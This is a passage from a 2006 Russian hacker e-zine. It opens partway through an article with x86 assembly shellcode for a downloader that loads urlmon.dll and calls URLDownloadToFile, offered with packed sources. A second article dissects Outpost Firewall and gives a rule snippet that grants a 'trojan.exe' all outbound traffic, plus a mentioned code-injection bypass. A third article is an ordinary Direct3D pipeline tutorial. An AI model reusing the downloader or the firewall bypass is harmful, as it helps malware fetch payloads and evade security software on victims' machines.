  библиотеке "Urlmon.dll". Поэтому мы, перед ее вызовом,должны эту библиотеку
  подгрузить.

    Кстати, о вызовах функций... Передаваемые функции данные должны получать
  смещение, как и сам вызов функции. Для этого мы прибавляем к ним содержимое
  регистра EBP.

    Итак, после того, как мы подгрузили библиотеку  (не страшно, если она уже
  была  подгружена  браузером), мы  вызываем  функцию  "URLDownloadToFile", в
  которую передаем адрес закачиваемого  файла  и  адрес  файла, куда  мы  все
  сохраним.

    Вот собственно и все премудрости.

  ;-------------------------------------------------------------------------;
  ; FuCkUp CoDe
  _download:

    call  .delta

   .delta:
    pop   ebp
    sub   ebp,.delta

    xor   esi,esi

    ; LoadLibrary
    lea   eax,[ebp+_urlmon]
    push  eax
    call  [ebp+_LoadLibrary]

    ; URLDownloadToFile
    push  0
    push  0
    lea   eax,[ebp+_filez]
    push  eax
    lea   eax,[ebp+_neturl]
    push  eax
    push  0
    call  [ebp+_URLDownloadToFile]

    ret

   .data:
     _LoadLibrary        dd  0
     _URLDownloadToFile  dd  0
     _urlmon  db  'urlmon.dll',0
     _neturl  db  'http://localhost/filez.txt',0
     _filez   db  'filez.txt',0

  _download_end:
  ;-------------------------------------------------------------------------;

    Исходники доступны в аттаче, в скомпилированном  виде  эта  штучка  весит
  всего 2048 б. Можно ее еще пожать (пароль к архиву `cp` ;)

    Возможно в следующий раз мы поговорим о том,как улучшить этот примитивный
  downloader, а точнее о шифровке пользовательских данных, выполнении команд,
  отсылке статистики и построении билдера.


   FuCK iT aLL



[x] •-•-•-•-•-•-•-• [Article 2: Small Things About Outpost] •-•-•-•-•-•-•-• [x]

 • Автор: jecxz


    "Outpost Firewall Pro представляет собой мощный набор средств, основанных
  на новейших технологиях  персональной  защиты,  что  делает  его  наилучшим
  выбором для вашей системы", - цитата из справки по Outpost Firewall.

    Статья посвящена персональному файерволу Outpost,в ней рассмотрены слабые
  места защиты и некоторые сведения о данном продукте. Некоторые данные могут
  отличаться для разных версий Outpost,в статье рассмотрены версии 3.0 и 3.5.

                  •-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•

  1. Структура каталогов.

     Outpost при установке создает несколько каталогов и целую кучу файлов.По
   умолчанию установка происходит в "Program Files\Agnitum\Outpost Firewall".
   Разберемся со структурой каталогов и файлов, находящихся в них.

    conf - директория,куда по умолчанию файервол сохраняет файлы конфигурации
           и их копии. Содержит файлы трех типов:

     *.cfg  - содержит основную конфигурацию Outpost, а точнее списки
              разрешенных сетевых приложений
     *.conf - содержит все остальные конфигурации
     *.bak  - запасная копия файлов конфигурации


    help - содержит файлы помощи


    html - необходима для получения новостей с сайта Agnitum


    kernel - драйверы режима ядра, в основном фильтры трафика:

     adblock.dll  - модуль блокировки рекламы
     arp.dll      - фильтр ARP-пакетов
     content.dll  - фильтр содержания страниц
     dnscache.dll - модуль кэша DNS
     filt95.vxd   - набор фильтров для 9х-платформы
     filtnt.sys   - набор фильтров для NT-платформы
     ftpfilt.dll  - фильтр FTP-трафика
     htmlfilt.dll - фильтр страниц HTML
     httpfilt.dll - фильтр HTTP-трафика
     imapfilt.dll - фильтр IMAP
     mailfilt.dll - фильтр почтовых вложений
     nntpfilt.dll - хз что это такое (?)
     pop3filt.dll - фильтр POP3-трафика
     protect.dll  - модуль детектора атак
     secret.dll   - модуль защиты данных
     sockfilt.dll - фильтр сетевых подключений (доступ к RAWSOCKET ?)

    Примечательно, что все драйверы несут в себе строку: 

      "G:\vfilt\firewall.next\Temp\(имя dll).pdb"


    log - по идее здесь хранятся лог-файлы.


    plugins - директория подключаемых модулей:

     ads - директория с модулями блокировки рекламы:

      ad_int.ofp - модуль блокировщика
      ad_int.ru  - файл русского языка


     antispyware - директория с модулями Anti-Spyware:

      quarantine    - директория "карантина"
      sp_cure.dll   - модуль "лечения" файлов (удалением?)
      sp_db.dll     - модуль работы с базой сигнатур
      sp_mon.dll    - модуль проактивного монитора
      sp_scan.dll   - модуль сканирования файлов
      sp_scan.ru    - файл русского языка
      sp_ui.ofp     - основной модуль AS
      sp_ui.ru      - файл русского языка
      spy5_main.sdb - база данных сигнатур


     browserbar - директория с модулями расширения для IE:

      ie_bar.dll  - модуль встраивания "быстрой настройки" в браузер
      ie_bar.ini  - файл настроек
      ie_bar.ru   - файл русского языка
      op_hdlr.dll - хз
      xpbar.dll   - модуль встраивания "быстрой настройки" в браузер


     content - директория с модулями блокировки страниц:

      cnt_int.ofp - модуль блокировки страниц
      cnt_int.ru  - файл русского языка


     dns - модули DNS-кэша:

      dns.log     - лог последних DNS-запросов
      dns_int.ofp - модуль кэша DNS
      dns_int.ru  - файл русского языка


     file - модули фильтра почтовых вложений:

      file_int.ofp - фильтр почтовых вложений
      file_int.ru  - файл русского языка


     protect - директория модулей детектора атак:

      prot_int.ofp - модуль детектора атак
      prot_int.ru  - файл русского языка


     web - модули контроля HTTP-трафика:

      web_int.ofp - модуль контроля HTTP-трафика
      web_int.ru  - файл русского языка


    checkfw.dll - выявляет другие работающие на  машине  файерволы, проверяет
                  процессы,ключи автозапуска,драйверa и сервисы на совпадение
                  с именами сторонних продуктов

    checkfw.ini - файл известных сторонних продуктов, формат записей:

      [Firewalls]
      kah=Kaspersky Anti-Hacker
      [Run]
      mpfservice=mcafee
      [VXD]
      fwdrv=tiny
      [ServicesNT]
      vsdatant=za

    checkfw.log - лог обнаруженных продуктов (?)

    config.src - хз

    dbghelp.dll - какая-то отладочная хуйня

    driver_event.cmd - хз

    engine.dll - основной модуль файервола
    engine.ru  - файл русского языка

    favorites.ini - хз

    fb_auth.ini  - хз что, но такое же содержимое есть в конце файла настроек
    feedback.exe - создание и отправка отчета
    feedback.ini - файл конфигурации
    feedback.ru  - файл перевода

    history.en - файл понтов (английский)
    history.ru - файл понтов (русский)

    inst.log    - лог установки плагинов (?)
    install.exe - инсталлятор чего-то (плагинов ?)

    license_en.txt - лицензия (английский)
    license_ru.txt - лицензия (русский)

    logo_rc.dll - страница "Мой Интернет" (?)
    logo_rc.ru  - руссификатор

    machine.conf - хз

    menu.ini - файл названий меню

    modules.0   - файл компонентов и их контрольной суммы
    modules.ini - файл компонентов и их контрольной суммы

    netstat.ofp - страница "Сетевая Активность"
    netstat.ru  - и перевод к ней

    opst_ui.dll - основной модуль outpost
    opst_ui.ru  - файл русского языка

    op_cmn.dll - модуль настройки конфигурации
    op_cmn.ru  - перевод к нему

    op_ctrls.dll - модуль настройки конфигурации
    op_ctrls.ru  - перевод к нему

    op_data.dll - модуль работы с журналом outpost
    op_data.ini - файл настроек журнала, набор фильтров
    op_data.ldb - хз, возможно файл аутентификации для смены настроек (?)
    op_data.mdb - данные журнала файервола
    op_data.ru  - файл русского языка для журнала

    op_install.dll - что-то для инсталлятора
    op_install.ru  - файл перевода

    op_links.ini - содержит различные ссылки на сайт Agnitum

    op_log.dll - модуль записи событий
    op_log.ini - файл настроек к нему
    op_log.ru  - и файл русского языка

    op_shell.dll - модуль фильтрации почтовых вложений
    op_shell.ru  - и русский язык к нему

    op_utils.dll - какие-то фичи к файерволу

    op_viewer.exe - просмотрщик журнала
    op_viewer.ini - настройки вьюера
    op_viewer.ru  - русский язык к нему

    outpost.exe - самый бесполезный файл
    outpost.ini - и настройки к нему

    plugins.ini - список плагинов

    preload.cch - хз

    preset.conf - шифрованные (RSA?) правила, устанавливаемые по умолчанию
    presets.en  - файл английского языка
    presets.ini - файл конфигурации
    presets.ru  - файл русского языка

    protect.lst - файл конфигурации для детектора атак

    rc_macro.lst - файл языков для мастера настройки файервола

    resolved.dns - список доменных имен для DNS-кэша

    run_help.exe - файл для вызова справки (?)

    unins000.dat - конфигурация анинсталлера
    unins000.exe - анинсталлер

    uninst.exe - еще один анинсталлер
    uninst.ru  - файл русского языка к нему

    unrar.dll - разархиватор RAR

    warning.wav - звук опасности

    wl_hook.dll - библиотека для перехвата событий (?)

    zlib.dll - разархиватор ZIP


    Так же создается  "c:\Program Files\Common Files\Agnitum Shared\aupdate",
    содержащий данные для автообновлений.

                  •-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•

  2. Записи реестра.

     Outpost так же неплохо гадит реестр windows. Я нашел 3 ветви ключей:

      HKEY_CURRENT_USER\Software\Agnitum
      HKEY_LOCAL_MACHINE\Software\Agnitum
      HKEY_USERS\.DEFAULT\Software\Agnitum

     Мы рассмотрим HKEY_LOCAL_MACHINE, тк остальные две ветви содержат только
   информацию о пути к файлу конфигурации.  С  целью  уменьшения  бесполезных
   данных я оставил только "интересные" ключи.

    HKEY_LOCAL_MACHINE\SOFTWARE\Agnitum\

      UpdateServer REG_SZ "www.agnitum.com" - сервер обновлений


    HKEY_LOCAL_MACHINE\SOFTWARE\Agnitum\Outpost Firewall\

      EnableGzipEncoding  REG_DWORD  1 - разрешить сжатие трафика gzip
                                     0 - запретить

      ServiceExitEnabled  REG_DWORD  1 - разрешить остановку сервиса
                                     0 - запретить

      Counters\ - содержит статистику для различных модулей

      General\ - содержит основные настройки

         AutoUpdate  REG_DWORD  1 - включить автообновление
                                0 - выключить

         ConfigFileName  REG_SZ  - содержит путь к файлу конфигурации

         EnableNetstatLogging  REG_DWORD  1 - включить сбор статистики
                                          0 - выключить

      KernelPlugIns\ - содержит имена драйверов режима ядра

      Language\ - конфигурация языков

      Paths\ - пути к основным модулям и настройкам

      PlugIns\ - названия плагинов

      View\ и Window\ - настройки окна


     Ко  всему  этому  Outpost  регистрирует  свой  сервис, а потому в реестр
   добавляется информация еще и о нем.

                  •-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•

  3. Обход Outpost Pro < 3.5

     В Agnitum Outpost до версии 3.5 была допущена  удивительная  бага. Файл,
   содержащий правила, не шифровался, и потому каждый, кто хотел,мог изменить
   набор правил, например, создать свое.

     Ну и что?  Ведь  никто, кроме пользователя не может применить правило на
   вредоносное приложение -скажете вы. А вот в том-то и ошибка разработчиков,
   что  существовала  группа  правил  под   названием  "Auto",  что  означало
   применение правила без участия пользователя.

     Таким образом, достаточно дописать в конец файла "preset.lst":

     [Outpost Hacker Service] 
     VisibleState: 0
     Group: Auto
     Exe:
     Outpost Hacker Service, trojan.exe
     DefaultState: 1
     RuleName: Allow ALL =)
     Protocol: TCP
     RemotePort: 0-65535
     Direction: Outbound
     AllowIt

     И  мы  получим  для  "trojan.exe" все исходящие бесплатно :) К сожалению
   способ имеет ряд недостатков:

     1. Необходим перезапуск сервиса файервола
     2. "trojan.exe" будет виден в настройке приложений

     Но факт остается фактом -- обойти Outpost с помощью 10 строк текста было
     можно.

                  •-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•

  4. Обход Outpost Pro <= 3.5

     С выходом версии 3.5 файл  конфигурации  стал  шифроваться. К  тому  же,
   Outpost стал перехватывать некоторые функции вроде "ZwWriteVirtualMemory",
   что не очень хорошо сказывается на методе инжектирования кода в доверенный
   процесс. Outpost может определить открытие процесса, запись в его память и
   выполнение  "чужого"  кода.  Но  почему-то не мешает нам, если мы  пишем в
   процесс с помощью метода "CodeInjection". В  аттаче  находится  программа,
   которая спокойно инжектирует код в "explorer.exe" и выводит сообщение.

                              (пароль к архиву - `cp`).

                  •-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•

  5. Заключение.

     Все,что написано относительно файлов и ключей реестра,которые использует
   Outpost, _основывается_исключительно_на_моих_догадках_.  Дизассемблировать
   столько говна я не собираюсь.

                •-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•

  6. P.S.

   Внутрях нескольких файлов Outpost нашел "магическое" число:

      .rdata:004074D8  stru_4074D8  dd  19930520h  ; Magic



   FuCK iT aLL



[x] -•-• [Article 3: D3D: Графический конвейер и архитектура Direct3D] •-•- [x]

 • Автор: Zool

  Устройство вывода. Состояния


    В памяти компьютера информация, формирующая изображение, хранится  отнюдь
  не в том же виде,  в  каком  она  предстает  на  экране: она  являет  собой
  организованные  структуры  данных,  которые  только   после   обработки  на
  графическом конвейере превращаются в изображение сцены.Графический конвейер
  – это совокупность  аппаратных  и  программных  средств  обработки  данных,
  описывающих в памяти  трехмерные  сцены, конечным  итогом  работы  которого
  является кадр, размещенный в буфере, который затем может  быть  выведен  на
  экран монитора или подвергнут дополнительной обработке.

    Обобщенно процесс формирования изображения можно представить как четыре
  последовательных этапа:

   1. Тесселяция – то есть разбиение исходной сцены на отдельные  структурные
      элементы  –  полигоны   (графический  конвейер  оперирует  треугольными
      полигонами);
   2. Отсечение – изображение должно соответствовать  размерам  экрана (кроме
      того, незачем выводить  графические  примитивы, которые и так не видны:
      закрыты другими полигонами или повернуты задней стороной к наблюдателю)
   3. Растеризация – получение атрибутов  для  каждого  из  пикселей  экрана,
      принадлежащих  составляющим сцену полигонам;
   4. Текстурирование – наложение текстур на каждый пиксель.

    Но в реальности все обстоит гораздо сложнее.

    Графический конвейер Direct3D изображен  на  рис. 0. Согласно  справочной
  системе DirectX SDK, он состоит из шести этапов, каждый  из которых  в свою
  очередь реализуется несколькими операциями:

   1. Данные вершин и примитивов, формирующих сцену,организуются и передаются
      в тесселятор.
   2. Осуществляется  компоновка вершин в треугольники.
   3. Производится обработка геометрии сцены: расчет освещения  и  применение
      материалов, трансформация координат вершин,а также генерация текстурных
      координат.
   4. Происходит общее отсечение, отсечение не лицевых граней и  растеризация
      примитивов.
   5. Текстурирование и применение связанных с ним эффектов.
   6. Применение эффектов,не связанных с текстурированием: прозрачность,туман
      и тесты: глубины, шаблона, прозрачности.


     
                   Рис.0. Графический конвейер Direct3D


    Современное графическое железо позволяет вмешиваться в процесс  обработки
  данных на этапах 3 и 5,  заменяя  некоторые  части  конвейера  собственными
  обработчиками данных сцены – вершинными и/или фрагментными шейдерами.Шейдер
  – это программа обработки вершин  (vertex  shader)  или  фрагментов  (pixel
  shader),  написанная  на  специальном  языке  и   выполняемая   процессором
  видеокарты.


                 
                  Рис. 1.Архитектура устройства Direct3D


    В Direct3D вся работа с ресурсами и все  операции  модификации  и  вывода
  изображения   осуществляются   методами   устройства   рендеринга,  которое
  реализуется в интерфейсе IDirect3DDevice9 (DirectX9). Устройство рендеринга
  имеет в своем составе модуль трансформаций,освещения и растеризации –рис.1.
  Direct3D поддерживает  два  типа  устройств:  HAL-устройство  с  аппаратной
  поддержкой  вывода  и  программной  или  аппаратной  обработкой  вершин   и
  референсное устройство.

    Технология Direct3D является  независимой  от  аппаратного  обеспечения и
  должна одинаково работать на всех видеокартах. Это  достигается  с  помощью
  использования HAL (hardware  abstraction  level).  HAL  представляет  собой
  аппаратно-зависимый интерфейс, который  и  позволяет  Direct3D  работать  с
  видеокартой.Он может быть реализован как на уровне драйверов видеокарты,так
  и в виде отдельных DLL-библиотек, являющихся «надстройкой» над  драйверами.
  Взаимосвязь между GDI, Direct3D, HAL и аппаратной частью графической  платы
  показаны на рис.2. 


        
     Рис.2.Взаимосвязь между GDI,Direct3D,HAL и аппаратной частью графической
                                     платы


    Для  того,  чтобы  создать  Direct3D  устройство,  используется   функция
  CreateDevice объекта  класса  IDirect3D9 (как  это  сделать, было  подробно
  рассмотрено в главе 0 «Понятие о СОМ. Введение  в  Direct3D»). Метод  имеет
  следующий синтаксис:

     HRESULT CreateDevice(UINT Adapter, 
                          D3DDEVTYPE DeviceType, 
                          HWND hFocusWindow, 
                          DWORD BehaviorFlags, 
                          D3DPRESENT_PARAMETERS *pPresentationParameters, 
                          IDirect3DDevice9** ppReturnedDeviceInterface );

  где
   Adapter – номер видеоадаптера.
   DeviceType – тип устройства (HAL, референсное и т.д.).
   hFocusWindow – хэндл окна, в котором будет осуществляться вывод.
   BehaviorFlags – флаги, определяющие характер работы с вершинами.
   pPresentationParameters – указатель на структуру, содержащую параметры,
                             описывающие создаваемое устройство.
   ppReturnedDeviceInterface – адрес указателя, по которому будет возвращен
                               интерфейс IDirect3DDevice9.

    Все созданные устройства разделяют между собой одни  и  те же  физические
  ресурсы, поэтому следует помнить, что хоть приложение  и  способно  создать
  несколько  таких  устройств, это  может  не  лучшим  образом  сказаться  на
  производительности  системы. При создании устройство рендеринга должно быть
  настроено  на  определенные  параметры  работы,  для  чего  нужно   выбрать
  видеоадаптер, тип устройства, характер обработки вершин  и  заполнить  поля
  структуры D3DPRESENT_PARAMETERS.

    Непосредственно перед созданием  устройства  бывает  полезным  проверить,
  соответствует ли создаваемое устройство  аппаратным  возможностям. Direct3D
  предоставляет три функции для этих целей:

   IDirect3D9::CheckDeviceFormat – используется   для   проверки,  может   ли
  поверхность  заданного  формата   использоваться   в   качестве   текстуры,
  промежуточного буфера вывода (render-target) или буфера  шаблона (stencil),
  дополнительно этот метод используется для выяснения поддерживаемого формата
  буфера глубины (depth).

   IDirect3D9::CheckDeviceType – используется   для   проверки   возможностей
  аппаратного  ускорения  и  для  проверки  возможности  работы  с  заданными
  установками разрешения, глубины цвета и пр.

   IDirect3D9::CheckDepthStencilMatch   –   используется     для     проверки
  совместимости  форматов  буфера  глубины (depth-stencil) и  формата  буфера
  рендеринга (render-target).

    Дополнительно  у  объекта  класса  IDirect3D9 (интерфейс IDirect3DDevice9
  предоставляет аналогичный метод) имеется метод для  получения  информации о
  создаваемом устройстве:

   HRESULT GetDeviceCaps(UINT Adapter,
                         D3DDEVTYPE DeviceType,
                         D3DCAPS9 *pCaps );

 где
  Adapter – номер адаптера.
  DeviceType – задает тип устройства (HAL, референсное и т.д.).
  pCaps –  указатель на структуру D3DCAPS9, описывающую устройство. 

    Структура D3DCAPS9 имеет  множество  полей, поэтому  ее  описание  займет
  слишком много места, ограничимся только перечислением возможностей, которые
  открывает использование функции: с ее помощью можно определить максимальное
  количество вершин и примитивов, которое может быть передано за  один  вызов
  функции  DrawPrimitive, максимальный  размер  примитива-точки, максимальное
  количество активных источников света,максимальные размеры текстуры и многие
  другие возможности устройства по работе с текстурами, поддержку устройством
  шейдеров (по номерам версий), а также специфичные  возможности  устройства,
  определяемые драйверами видеоадаптера, и т.д. – практически  всю  возможную
  информацию о создаваемом устройстве.

    Приложение во время работы может  управлять  состояниями  устройства. Для
  этого используются несколько методов устройства,  которые можно условно, по
  функциональному признаку разделить на три группы:

   1. Влияющие на рендеринг в целом (метод  IDirect3DDevice9::SetRenderState,
      к нему можно  добавить  еще  несколько, которые  управляют  источниками
      света, трансформациями, и установкой материалов. Они будут  рассмотрены
      позже);

   2. Влияющие на состояние текстурного сэмплера 
      (метод IDirect3DDevice9::SetSamplerState);

   3. Влияющие на текстурирование
      (метод IDirect3DDevice9::SetTextureStageState).

  Синтаксис метода IDirect3DDevice9::SetRenderState:

   HRESULT SetRenderState(D3DRENDERSTATETYPE State,
                          DWORD Value );

 где
  State - определяет параметр устройства, который будет подвергнут  изменению
         (является членом перечисления D3DRENDERSTATETYPE).
  Value - новое значение указанного параметра.

  Все члены D3DRENDERSTATETYPE приведены в справочной системе DirectX SDK.

    С помощью  метода  IDirect3DDevice9::SetRenderState  можно  включить  или
  выключить  буфер  глубины, изменить  режим  заполнения  примитивов, а также
  управлять их прозрачностью, можно включить и настроить туман и т.д.

    Метод IDirect3DDevice9::SetSamplerState  управляет  фильтрацией  текстур,
  тайлингом, мипмэппингом и т.д. Его синтаксис:

   HRESULT SetSamplerState(DWORD Sampler,
                           D3DSAMPLERSTATETYPE Type,
                           DWORD Value );

 где
  Sampler - индекс  уровня  (sampler  stage  index),  для  которого  меняется
            состояние.
  Type - любой член перечисления D3DSAMPLERSTATETYPE.
  Value - новое значение состояния.

  D3DSAMPLERSTATETYPE имеет в составе следующие члены:

typedef enum _D3DSAMPLERSTATETYPE
{ 
     D3DSAMP_ADDRESSU = 1,       // управляют текстурными координатами
     D3DSAMP_ADDRESSV = 2,       //
     D3DSAMP_ADDRESSW = 3,       //
     D3DSAMP_BORDERCOLOR = 4,    // изменяет цвет текстурной кромки
     D3DSAMP_MAGFILTER = 5,      // управляют фильтрацией текстур
     D3DSAMP_MINFILTER = 6,      //
     D3DSAMP_MIPFILTER = 7,      //
     D3DSAMP_MIPMAPLODBIAS = 8,  // задает mipmap смещение
     D3DSAMP_MAXMIPLEVEL = 9,    // максимальное количество mipmap уровней
     D3DSAMP_MAXANISOTROPY = 10, // максимальный уровень анизотропной
                                 // фильтрации
     D3DSAMP_SRGBTEXTURE = 11,   // величина гамма-коррекции
     D3DSAMP_ELEMENTINDEX = 12,  // индекс элемента для многоэлементных
                                 // текстур
     D3DSAMP_DMAPOFFSET = 13,    // смещение вершины по карте смещения
                                 // (displacement map)
     D3DSAMP_FORCE_DWORD = 0x7fffffff
} D3DSAMPLERSTATETYPE; 

 Метод IDirect3DDevice9::SetTextureStageState позволяет управлять смешиванием
 цветов текстур, изменять их прозрачность и т.д. Его синтаксис:

   HRESULT SetTextureStageState(DWORD Stage, 
                                D3DTEXTURESTAGESTATETYPE Type, 
                                DWORD Value );

 где
  Stage - уровень, для которого изменяется состояние.
  Type  - параметр,  значение  которого  будет  изменяться  (является  членом
          перечисления D3DTEXTURESTAGESTATETYPE).
  Value - значение.

    Все члены D3DTEXTURESTAGESTATETYPE перечислены в соответствующем  разделе
  справочной системы DirectX SDK.

    Изменения состояния устройства рендеринга  можно  комбинировать  в  любой
  последовательности. Однако следует помнить, что всегда нужно по возможности
  минимизировать число переключений состояний устройства, так как  это сильно
  влияет на производительность приложения.

    Изменения настроек устройства  вывода  можно  для  удобства  объединять в
  блоки, в этом случае требуемый режим устанавливается  вызовом  всего  одной
  команды (текущая схема сохранения настроек устройства почти  не  отличается
  от  той, которая  применялась  для  той  же  цели в DirectX8, однако способ
  применения блока настроек имеет значительные отличия).

    Для    создания    нового    блока    установок     используется    метод
  IDirect3DDevice9::CreateStateBlock,  он  создает  блок,  который   содержит
  значения всех настроек устройства, отдельно значения настроек,относящихся к
  вершинам, или только к пикселям:

   HRESULT CreateStateBlock(D3DSTATEBLOCKTYPE Type, 
                            IDirect3DStateBlock9** ppSB );

 где
  Type - тип запоминаемых данных из перечисления D3DSTATEBLOCKTYPE.
  ppSB - указатель на интерфейс блока настроек.

  D3DSTATEBLOCKTYPE определяет логические группы настроек устройства:

typedef enum _D3DSTATEBLOCKTYPE 
{ 
    D3DSBT_ALL = 1,         // все настройки
    D3DSBT_PIXELSTATE = 2,  // настройки, относящиеся к функциям обработки
                            // пикселей: настройки текстурного сэмплера,
                            // настройки текстур и пиксельных шейдеров
    D3DSBT_VERTEXSTATE = 3, // все настройки, относящиеся к обработке
                            // вершин: настройки источников света, значения
                            // матриц трансформаций, настройки вершинных
                            // шейдеров
    D3DSBT_FORCE_DWORD = 0xffffffff 
} D3DSTATEBLOCKTYPE; 

    Direct3D предоставляет две функции  для  запоминания  текущего  состояния
  устройства     вывода:     метод     IDirect3DDevice9::BeginStateBlock    и
  IDirect3DDevice9::EndStateBlock.Первый метод используют для записи настроек
  устройства, при этом все  настройки  сначала  сохраняются  и  только  потом
  применяются к устройству. Второй метод  закрывает  блок  настроек, без  его
  вызова сохранение блока не будет произведено. Синтаксис методов:

   HRESULT BeginStateBlock(VOID);

    и

   HRESULT EndStateBlock(IDirect3DStateBlock9 **ppSB);

 где
  ppSB - указатель на интерфейс блока настроек.

    Данный метод возвращает хэндл блока  настроек, который можно в дальнейшем
  применить к устройству или удалить,  когда надобность в нем отпадет.  После
  вызова метода настоятельно рекомендуется проверять код возврата. В  случае,
  если  он  равен 0xFFFFFFFF, функция  завершилась  неудачно, и  хэндл  блока
  настроек использовать нельзя.

    Список методов,изменяющих настройки устройства рендеринга,и которые можно
  сохранить  с  помощью  BeginStateBlock,  полностью  приведен  в  справочном
  руководстве DirectX SDK.При группировке их в блоки необходимо иметь в виду,
  что  заданный  порядок  вызова  методов,  не  гарантируется, а если в блоке
  используется несколько одинаковых методов, пусть и  устанавливающих  разные
  значения одному и тому же параметру устройства,то Direct3D осуществит вызов
  только последнего из них.

    Для  облегчения  работы  с  состояниями  устройства  в  Direct3D  имеется
  специальный  интерфейс  IDirect3DStateBlock9. Он  предоставляет  всего  три
  метода, их синтаксис приведен ниже:

   HRESULT Apply(VOID);

      – данный метод применяет сохраненный ранее блок состояний к устройству.

   HRESULT Capture(VOID);

      – этот метод используется для  записи  текущего  состояния  устройства:
  Последний метод нужен для получения  указателя  на  устройство  рендеринга,
  настройки    которого    были    ранее    сохранены    в   объекте   класса
  IDirect3DStateBlock9:

   HRESULT GetDevice( IDirect3DDevice9 **ppDevice );

 где
  ppDevice - указатель на устройство.

    Таким  образом, интерфейс  IDirect3DStateBlock9  позволяет  очень  быстро
  изменять многочисленные состояния устройства вывода.



[x] •-•-•-•-•-•-•-•-•-• [CodePimps e-Zine Distribution] •-•-•-•-•-•-•-•-•-• [x]

 • Станьте соучастником проекта CodePimps!

 • Вы  являетесь  представителем  хак-группы?  Пришлите  нам  название  вашей
   группы,список участников, как с вами можно связаться и все, что посчитаете
   нужным. Мы  получим  материал, а многие другие узнают о ваших достижениях,
   вашей коммунити.

 • Вы ломаете программы? Делаете их бесплатными? Состоите в группе?  Сообщите
   нам о себе, вашей группе, ваших релизах и мы вместе известим людей о ваших
   разработках.

 • У вас есть интересные идеи? Вы хотите быть услышанным? Напишите нам статью
   про ваши исследования и мы опубликуем ее. Пусть люди знают о вашей работе!

 • Вы нихуя не умеете делать? Только анализировать информацию и писать обзоры?
   Пришлите их нам и, возможно, ваши обзоры будут опубликованы в CodePimps.



[x] -•-•-•-•-•-•-•-•-•-•-• [CodePimps e-Zine Writerz] •-•-•-•-•-•-•-•-•-•-• [x]

  Article 1 ····················································· jecxz / cps
  Article 2 ····················································· jecxz / cps
  Article 3 ····················································· Zool  / cps
  Logo by ······················································· jecxz / cps

                       Наш почтовый адрес: [email protected]



[x] •-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-•-• [x]

                                01 apr 2006
               (c) 2004-2006 CodePimps e-Zine Staff. Issue 8.